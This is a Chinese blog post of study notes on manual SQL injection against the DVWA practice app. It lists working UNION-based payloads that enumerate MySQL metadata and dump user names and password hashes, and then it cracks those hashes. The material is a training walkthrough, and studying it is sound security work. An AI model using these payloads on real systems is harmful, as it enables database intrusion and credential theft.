Kali学习笔记39:SQL手工注入(1)

摘要:
终于到了SQL注入最大的、最经典的、最常见的Web漏洞就是SQL注入漏洞SQL注入的原理这里就不说了,百度打开DVWA,SQL注入测试模块测试单引号,发现出错,于是想到测试语句:1'or'1'='1成功:测试是否存在漏洞:1'and'1'='1如果返回数据,但是1'and'1'='0不返回数据,代表存在sql注入或者简易一些:1'and'1返回但是1'and'0不返回数据进一步:猜测当前SQL语句

终于到了SQL注入

最大的、最经典的、最常见的Web漏洞就是SQL注入漏洞

SQL注入的原理这里就不说了,百度

打开DVWA,SQL注入测试模块

Kali学习笔记39:SQL手工注入(1)第1张

测试单引号,发现出错,于是想到测试语句:

1' or '1'='1

成功:

Kali学习笔记39:SQL手工注入(1)第2张

测试是否存在漏洞:

1' and '1'='1 如果返回数据,但是1' and '1'='0 不返回数据,代表存在sql注入

或者简易一些:1' and '1 返回但是1' and '0不返回数据

进一步:

猜测当前SQL语句总共查询了多少字段:

' order by 50 --

注意--后边必须跟一个空格,--作用是注释最后一个单引号,必须跟空格

首先猜测50过大会报错:

Unknown column '50' in 'order clause'

然后继续猜测小于五十的数:

直到我猜测到2

当我把这里修改成2后,提交没有任何反应

于是得出结论:查询了两个字段,源码验证sql语句为:

SELECTfirst_name,last_nameFROMusersWHEREuser_id='$id'

猜测成功,查询了两个字段

接下来我想在后边加入select语句来执行查询命令:

不过两个select语句连在一起是不允许的

于是想到使用联合查询(union)

注意:--跟上空格

Kali学习笔记39:SQL手工注入(1)第3张

这时候可以进一步确定:firstname为第一个字段,surname是第二个字段

既然知道了1,2对应的位置,那么就可以使用SQL函数来查询其他信息:

Kali学习笔记39:SQL手工注入(1)第4张

比如这里我查询到了数据库当前的用户

再使用:' union select user(),version() --

可以查到数据库版本:

Kali学习笔记39:SQL手工注入(1)第5张

联系日常经验:5版本的数据库不会是MSSQL或者Oracle

最流行的5版本数据库就是MySQL

查询当前数据库:database函数

' union select user(),database() --

Kali学习笔记39:SQL手工注入(1)第6张

使用全局函数:

' union select user(),@@datadir --

Kali学习笔记39:SQL手工注入(1)第7张

类似地:

' union select user(),@@hostname --

Kali学习笔记39:SQL手工注入(1)第8张

查询操作系统:

' union select user(),@@version_compile_os --

Kali学习笔记39:SQL手工注入(1)第9张

切分字符串的功能:

' union select null,substring_index(USER(),"@",1) --

这句话的意思是查出来user信息,然后以@分隔开,取前一部分

Kali学习笔记39:SQL手工注入(1)第10张

有时候我们提交的字符会被服务器过滤,于是可以使用SQL的CHAR函数进行ASCII码转换

如果我们需要查很多的函数,而显示的位置很好,可以联合函数CONCAT_WS

使用一个稍复杂的SQL语句:

' union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null --

Kali学习笔记39:SQL手工注入(1)第11张

这里的CHAR(32,58,32)是空格冒号空格,方便显示

MySQL的数据存储相对简单,有一个元数据表infotmation_schema表

于是可以利用这张表查询数据库的很多信息:

查询所有库里面的所有表:

' union select table_name,table_schema from information_schema.tables --

找到了dvwa库里面的很多表:

Kali学习笔记39:SQL手工注入(1)第12张

查询每一个库有多少表:

' union select table_schema,count(*) from information_schema.tables group by table_schema --

Kali学习笔记39:SQL手工注入(1)第13张

只针对dvwa库进行查询:

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' --

Kali学习笔记39:SQL手工注入(1)第14张

查询dvwa库中users表都有哪些字段:

' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' --

Kali学习笔记39:SQL手工注入(1)第15张

知道了有user和password两列,我们就可以直接进行查询了:

' union select user,password from dvwa.users --

查到了所有的用户名和加密的密码

Kali学习笔记39:SQL手工注入(1)第16张

使用concat来改一下显示格式也行:

' union select null,concat(user,0x3a,password) from dvwa.users --

Kali学习笔记39:SQL手工注入(1)第17张

加密的密码根据长度猜测为MD5加密

也可以使用Kali的hash-identifier来验证:

Kali学习笔记39:SQL手工注入(1)第18张

于是考虑如何解密:把这些指定格式的用户名密码复制出来,弄到一个文本中

Kali学习笔记39:SQL手工注入(1)第19张

破解成功:

Kali学习笔记39:SQL手工注入(1)第20张

免责声明:文章转载自《Kali学习笔记39:SQL手工注入(1)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇点击按钮,弹出遮罩层,跳转页面播放视频购物篮模型&Apriori算法下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

c#操作Word文件 导出数据到word文档 (table 书签方式)

1.添加一个table 显示成问答两列 using System;using System.Collections.Generic;using System.Data;using System.Linq;using System.Web;using System.Web.UI;using System.Web.UI.WebControls;using As...

SQL Server使用游标或临时表遍历数据

方法一:使用游标(此方法适用所有情况,对标结构没有特殊要求。) declare @ProductName nvarchar(50) declare pcurr cursor for select ProductName fromProducts open pcurr fetch next frompcurr into @ProductName wh...

Sql Server 数据迁移问题的解决

在工作中遇到一个数据迁移的问题。是通过Sql Server 2008 Management studio产生的scripts来解决的。现在来说说此实际问题:生产环境的配置是数据文件有20GB大,log文件有10GB大,实际数据只占用了500MB,所以大部分空间是空的。而测试环境因硬盘小,数据文件所在的驱动器总共只有28GB。现在想做的是把生产环境的数据拷贝...

SQL触发器(1)

在实习过程中涉及到SQL触发器,在校时未学习过触发器的知识,因而进行上网自学整理,以下内容为我对网上资料收集整合,若侵权请联系删除,谢谢。 一、触发器概念  定义: 何为触发器?在SQL Server里面也就是对某一个表的一定的操作,触发某种条件,从而执行的一段程序。触发器是一个特殊的存储过程。  常见的触发器有三种:分别应用于Insert , Updat...

C#3.0入门系列(九)之GroupBy操作

有朋友反馈说我提供的sample不能编译。大概是版本的问题,可以到http://msdn2.microsoft.com/en-us/bb330936.aspx下载for beta1的版本。本节接着讲groupby。上一节,我们讲了如何理解groupby返回的结果。本节会延这个思路阐述下去。先来看下面的例子 GroupBy操作中Select的匿名类 varq...

ie 9 select 下拉框 右侧 箭头

由于 不同浏览器的 select 选项的默认样式不同,为了样式统一性。 则 删去浏览器的默认样式 select.form-control { /*Chrome和Firefox里面的边框是不一样的,所以复写了一下*/ /*border: solid 1px #000;*/ /*很关键:将默认的select选择框样式清除*/ appear...